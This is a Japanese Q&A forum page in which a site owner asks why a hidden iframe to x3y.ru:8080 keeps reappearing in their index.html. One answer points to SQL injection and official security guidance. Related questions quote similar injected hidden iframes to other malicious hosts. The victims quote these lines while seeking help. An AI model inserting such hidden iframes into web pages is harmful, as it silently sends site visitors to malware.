• 締切済み

ホームページのウイルス?スパム?について・・・

ホームページを作成して約2年ほど公開しています。 ここ1ヵ月もたたないぐらいから作成したホームページを閲覧するとページの表示のされかたがおかしく、ページのトップがmargin-top200pxぐらい自動でかかっています。 しかもウイルスソフトにも引っかかります。 自分の記入ミスだと思い、確認したのですが、記述に間違いはなくページのtopにmargin-top200pxの記述はしていませんでした。 不気味に思ったので、サーバーにあがっているファイルを一時削除してもう一度アップしなおしました。 ところが数日後また同じ現象が起きていました。 毎回ウイルスソフトが「アクセスしたファイルは感染しています」と表示されます。 おかしいと思ったので、表示されているページのソースをブラウザ上からみたところ<html><head></head><body>のところに <iframe src="http://x3y.ru:8080/index.php" width=154 height=200 style="visibility: hidden"></iframe> という記述がありました。 これを調べたのですが、何も得られず、削除をしても数日後には復活しています。 また、必ずindex.htmlファイルが感染しているようです。 他のページ(member.html)などは感染していませんでした。 友達のPC(ウイルスバスター)でも引っかかると言っていました。 自分のはウイルスソフトはAVGを使用しています。 質問内容はまずどのようにしたら感染しているものを削除できるのでしょうか? また、<iframe src="http://x3y.ru:8080/index.php" width=154 height=200 style="visibility: hidden"></iframe>はなんでしょうか? ご教授お願いします。

  • h-h13
  • お礼率24% (37/149)

みんなの回答

  • seadragon
  • ベストアンサー率44% (361/820)
回答No.1

よくあるSQL インジェクション攻撃をされたのではないかと思います。 HP閲覧者の感染を防ぐためすぐにHPを閉鎖の上、IPA(情報処理推進機構) に相談し「安全なウェブサイトの作り方を参考にHPを作り直しして下さい。 SQLインジェクション攻撃、最近は「自動化してパワーアップ」 http://www.atmarkit.co.jp/news/200903/13/imperva.html コンピュータウイルス 110番 http://www.ipa.go.jp/security/virus110/index.html 「安全なウェブサイトの作り方 改訂第3版」 http://www.ipa.go.jp/security/vuln/websecurity.html ちなみにHPを作成されているのでしたらAVGではなくカスペルスキーや マカフィー、ノートンといったもっと優秀な製品を利用された方が 良いと思います。 参考:AV-TESTによるウイルス検出率テスト(8月) http://blog.fideli.com/gdata/daily/200909/01

関連するQ&A

  • ホームページを作っています、ページ内にiframeで他のページを表示さ

    ホームページを作っています、ページ内にiframeで他のページを表示させています。 IEではこのiframeにスクロールバーが出て、縦に長いデータをスクロールして閲覧あせる事が できるのですが、Firefoxだとスクロールバーが出ません・・・ どなたか表示させる方法をご存知でしたら教えてください。 以下HTML記述 <iframe name="iframe4" id="iframe4" frameborder="0" scrolling="yes" src="topix.html" title="※※">※※</iframe> CSS記述 #iframe4{ border-width : 0px 0px 0px 0px; margin-left : 0px; width : 420px; height : 490px; padding-top : 0px; overflow : hidden; margin-top : 0px; margin-right : 0px; margin-bottom : 0px; padding-bottom : 0px; }

    • ベストアンサー
    • HTML
  • 自作のホームページの内容が勝手に下記変わります。

    私は100ページ以上のホームページを持っていますが、7月はじめ頃から、その中身が勝手に書き換わります。 ウィルスバスターでスパイウェア警告があります。 その度にDIONのサイト上にページを再UPします。UPした直後は異常無しですが、半日ぐらいするとまた下記内容がbodyの後に追記されます。 <iframe src='http://81.95.145.240/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe> これにより、変化したページにアクセスすると勝手に上記URLに寄り道します。 しかも、この書き込みが現れるページが毎日同じページではなく、移動しているようで困っています。 どなたか対応策をご存知ないですか、ページの原稿はウィルスバスター2007ではウィルスが検出されません。今のところ、書き込みに気づくたびに原稿を再UPすることしか、対策が浮かびません。ご教授よろしくお願いします。

  • CSSでインラインフレームを非表示にしたい

    初心者です。 いろいろ試したのですがうまくいかないので教えてください。 複数のインラインフレームのレイアウトを、スタイルシートで一括管理したいのですが、 たとえば、 <iframe class="free" src="http://www.***" scrolling="no" frameborder="no"></iframe> <iframe class="only" src="http://www.***" scrolling="no" frameborder="no"></iframe> <iframe class="link" src="http://www.***" scrolling="no" frameborder="no"></iframe> と縦に並んでいるインラインフレームをhtmlは変更せずに、 真ん中の「only」だけ隠すことはできませんか? スペースが空かずにfreeとlinkだけが並んでいる状態にしたいです。 宜しくお願いします。 .free { width:450; height:760; border:none; margin: 0px; overflow: hidden; } .only { width:450; height:680; border:none; margin: 0px; overflow: hidden; } .link { width:450; height:680; border:none; margin: 0px; overflow: hidden; }

    • ベストアンサー
    • CSS
  • ウイルスの検知はないのに、ウェブサイトのソースにプログラムが勝手に挿入され修正ができない

    ウェブサイトに <iframe src="http://xc8.**:8080/index.php" width=183 height=175 style="visibility: hidden"></iframe> というプログラムが勝手に挿入されて困っています。 ウイルスソフトがフリーのものだったので、カスペルスキー(internet security2009)を購入してスキャンしました。 以前は検知されていなかったTrojanなどいくつかのウイルスが検知されました。 勝手に挿入されるプログラムは、FTPサーバーにアップロードしたファイルを見ても入っていないのですが、ブラウザで確認すると入っています。削除とアップロードをしなおしてもまた入っていて、ウェブサイトは正常に表示できません。 レンタルサーバー側へもアカウントの変更をお願いし、一旦はなくなったのですが、また入ってしまったのか、再度アカウント変更をしても消すことができません。 カスペルスキーはフルスキャンしても「コンピューターは安全」と表示されるのですが、どうしたらよいかわからず困っています。よろしくお願いします。

  • 一つのテーブル内の情報を、iframeではなく、非同期通信で行うには?

    一つのテーブル内の情報を、iframeではなく、非同期通信で行うには? 現在、トップページ内の一つのコンテンツを、 iframeで一定時間毎に自動リロードさせる形で演出しているのですが、 SEO的に良くないと聞き、それと同時に解決策として 「非同期通信」の存在を知りました。Ajaxを利用すれば、iframeを使わずに 今のような演出が可能らしいのですが、どのような形で記述すれば宜しいでしょうか? 例を書きます。 トップページ … index.php コンテンツの入ったページ … contents.php(テーブルレイアウトで作成) 現状は、index.phpに置かれたiframeの場所に、contents.phpを読み込んでいます。 iframeは5分毎に自動更新させていますが、これを非同期通信で5分毎に呼び出したいです。 付け焼刃の知識でイメージしている仕組みは、 まず、prototype.jsなどのライブラリをindex.php内で読み込ませ、 指定したtableやdivにcontents.phpを呼び出す仕組みなのかなと勝手に想像しています。 参考になる記述方法をどなたかご教授頂けませんでしょうか… 現状はこのような記述方法で対応しています。 index.php内 ----------------------- <body> <table width="300" height="300"> <tr> <td width="300" height="300"> <iframe src="contents.php" width="300" height="300"></iframe> </td> </tr> </table> </body> ----------------------- contents.php ----------------------- <body> <table width="300" height="300"> <tr> <td width="300" height="300"> ここはコンテンツページです </td> </tr> </table> </body> -----------------------

  • マウスをクリックで画像・・・

    マウスをクリックすると画像が飛び散る素材(?)を頂いてきたのですが、 以下の通りにUPすると「エラー」が出てしまいます。 どこが悪いのか解らないので よろしくお願いします。 <SCRIPT language="JavaScript" src="ht://xxx/xx.js"></SCRIPT> <BODY onload="initMouseEvents()"> <DIV id="sparks"> <DIV id="sDiv0" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/1.gif" width="15" height="16"></DIV> <DIV id="sDiv1" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/2.gif" width="15" height="16"></DIV> <DIV id="sDiv2" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/3.gif" width="15" height="16"></DIV> <DIV id="sDiv3" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/i4.gif" width="15" height="16"></DIV> <DIV id="sDiv4" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/i5.gif" width="15" height="16"></DIV> <DIV id="sDiv5" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/i6.gif" width="15" height="16"></DIV> <DIV id="sDiv6" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/7.gif" width="15" height="16"></DIV> <DIV id="sDiv7" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/8.gif" width="15" height="16"></DIV> <DIV id="sDiv8" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/9.gif" width="15" height="16"></DIV> <DIV id="sDiv9" style="position:absolute; visibility: hidden;"><IMG src="ht://xx/10.gif" width="15" height="16"></DIV> </DIV>

  • サイトが何度も感染

    数日前に自分のサイトがウイルスに感染しました。 サーバからデータを全消去・パソコンを再インストール後、サイトを再アップロード。 そのバックアップは感染の半月以上前にメディアに取ってあった物で、アップロード前にはカスペルスキーでファイルをスキャンしてみましたが何も出ず。 が、数時間後にサイトにアクセスするとまた感染を検出されます。 感染したサイトのインデックスファイルは、毎回bodyタグの後に↓のようなタグが勝手に書き加えられているのですが… <iframe src='http://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'></iframe> 本当は全部半角です。 サイトのデータがファイルスキャンで引っ掛からない何かに感染しているのでしょうか。それとも、他に何か原因があるのでしょうか?

  • IE6でfloatされない。

    IE6でfloatされない。 横幅950pxのコンテンツの中に divで3つのboxを作って横一列に並べているのですが ie7,8, firefoxでは意図した通りに表示されますがie6ではdiv id="c"(下記ソース)がfloatされません、どなたか解決策をご指導お願いします。 <div id="a"><img src="img/left.png" width="403" height="240" alt="スペース左" title="" /></div> <div id="b"><iframe name="iframe3" id="iframe3" frameborder="0" scrolling="no" src="home.html" title="******">*******</iframe></div> <div id="c"><img src="img/right.png" width="403" height="240" alt="スペース右" title="" /></div> css記述は下記の通りです #a{ padding-top : 0px; padding-left : 0px; padding-right : 0px; padding-bottom : 0px; margin-top : 0px; margin-left : 0px; margin-right : 0px; margin-bottom : 0px; width : 403px; height : 240px; float : left; display : inline; } #b{ padding-top : 0px; padding-left : 0px; padding-right : 0px; padding-bottom : 0px; margin-top : 0px; margin-left : 0px; margin-right : 0px; margin-bottom : 0px; width : 144px; height : 240px; float : left; display : inline; } #c{ padding-top : 0px; padding-left : 0px; padding-right : 0px; padding-bottom : 0px; margin-top : 0px; margin-left : 0px; margin-right : 0px; margin-bottom : 0px; width : 403px; height : 240px; float : left; display : inline; } #iframe3{ border-width : 0px 0px 0px 0px; margin-left : 0px; width : 144px; height : 240px; padding-top : 0px; overflow : hidden; margin-top : 0px; margin-right : 0px; margin-bottom : 0px; padding-bottom : 0px; padding-left : 0px; padding-right : 0px; } 宜しくお願いします。

  • HTMLでホームページを入れ子にする方法

    お世話になっております。 HTMLでIEの中にIEを表示したいのですが、どうしたらよいでしょうか。 以下の様にやってもうまく行きませんでした。 <body><iframe src="http://www.google.co.jp/" width="400" height="300" ></iframe> </body> 最終的にはサンプルの画像の様に、 別の頁を入れ子にするHTMLが目標なのですが、 どの様に記述したらよいでしょうか。 色々調べたのですが、分からないでいます。 教えて下さい。よろしくお願いします。

  • 連続ダウンロードのエラー

    pdfファイルの連続ダウンロードを作っています。 複数ファイルをチェックボックスで指定して 指定した数のファイルをダウンロードさせるようにしているのですが 全部のファイルがダウンロードできません。 複数ファイルの選択 download.html チェックボックスでファイルの複数選択 それをJavaScriptでオンになっていたらダウンロードさせる。 window.open で呼び出す先は <iframe> ============================= <script language="JavaScript"> <!-- function down() { if (document.f1.file001.checked == true) { newwin = window.open("1.php","my1"); } if (document.f1.file002.checked == true) { newwin = window.open("2.php","my2"); } if (document.f1.file003.checked == true) { newwin = window.open("3.php","my3"); } if (document.f1.file004.checked == true) { newwin = window.open("4.php","my4"); } if (document.f1.file005.checked == true) { newwin = window.open("5.php","my5"); } } //--> </script> 中略 <form name="f1"> <input type="checkbox" value="on" name="file001"> <input type="checkbox" value="on" name="file002"> <input type="checkbox" value="on" name="file003"> <input type="checkbox" value="on" name="file004"> <input type="checkbox" value="on" name="file005"> <input type="button" value="ダウンロード" onclick="down()"> </form> 中略 <iframe src="index.html" name="my1" width="5" height="3" style="width:1px;height:1px;visibility:hidden;"> <iframe src="index.html" name="my2" width="5" height="3" style="width:1px;height:1px;visibility:hidden;"> <iframe src="index.html" name="my3" width="5" height="3" style="width:1px;height:1px;visibility:hidden;"> <iframe src="index.html" name="my4" width="5" height="3" style="width:1px;height:1px;visibility:hidden;"> <iframe src="index.html" name="my5" width="5" height="3" style="width:1px;height:1px;visibility:hidden;"> ====================================== ダウンロード用のファイル 1.php <?php // ダウンロードさせる元ファイル $filepath = "filepdf/file01.pdf"; // 保存時のファイル名(デフォルト) $filename = "ファイル1.pdf"; // HTTPヘッダ送信 header("Content-length: " . filesize($filepath)); header("Content-type: application/pdf"); header("Content-Disposition: attachment; filename=\"{$filename}\""); // ファイルを読み込んで出力 readfile($filepath); ?> ================================== 上記の用にソースを書いて複数ファイルのダウンロードを行っていますが、 1個ずつ選択した時はダウンロード成功 2個選択した時、2個目がダウンロードしない 3個以上選択した時、ダウンロードできないファイルが出てくる。 チェックを同じにして、数回試すと その度にダウンロードされないファイルが違っている。 なぜダウンロードされないファイルが出てくるのかがわかりません。 複数ファイルの連続ダウンロードでは、ダウンロードできるファイルの サイズに限りがあるとか、何かあるのでしょうか?

    • ベストアンサー
    • PHP